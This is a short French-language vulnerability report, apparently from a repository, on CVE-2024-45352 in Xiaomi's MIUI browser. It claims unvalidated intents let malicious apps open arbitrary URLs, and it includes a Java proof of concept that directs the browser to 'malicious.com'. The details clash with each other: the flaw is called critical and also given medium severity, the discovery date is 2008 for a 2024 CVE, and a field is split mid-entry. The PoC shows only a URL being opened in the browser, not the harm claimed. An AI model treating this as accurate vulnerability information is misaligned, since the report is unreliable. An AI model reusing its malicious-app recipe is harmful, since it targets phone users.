xiaomi-cve-2024-45352

Rapport technique sur la vulnérabilité critique de Xiaomi Résumé de la vulnérabilité Une vulnérabilité a été découverte dans le navigateur par défaut de Xiaomi (com.android.browser) sur divers appareils MIUI. L'application ne valide pas correctement les intentions (intents) passées via startActivity, ce qui permet à des applications malveillantes d'ouvrir des URL arbitraires ou d'effectuer des actions non intentionnelles.

• Identifiant CVE : CVE-2024-45352
• Composant
• :com.android.browser
• Sévérité : Moyenne
• Statut : Signalé à Xiaomi (en attente de confirmation)
• Date de découverte : [24 avril 2008]

🔥 Preuve de concept (PoC)

1. Créez une application malveillante simple avec l'intention suivante :

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);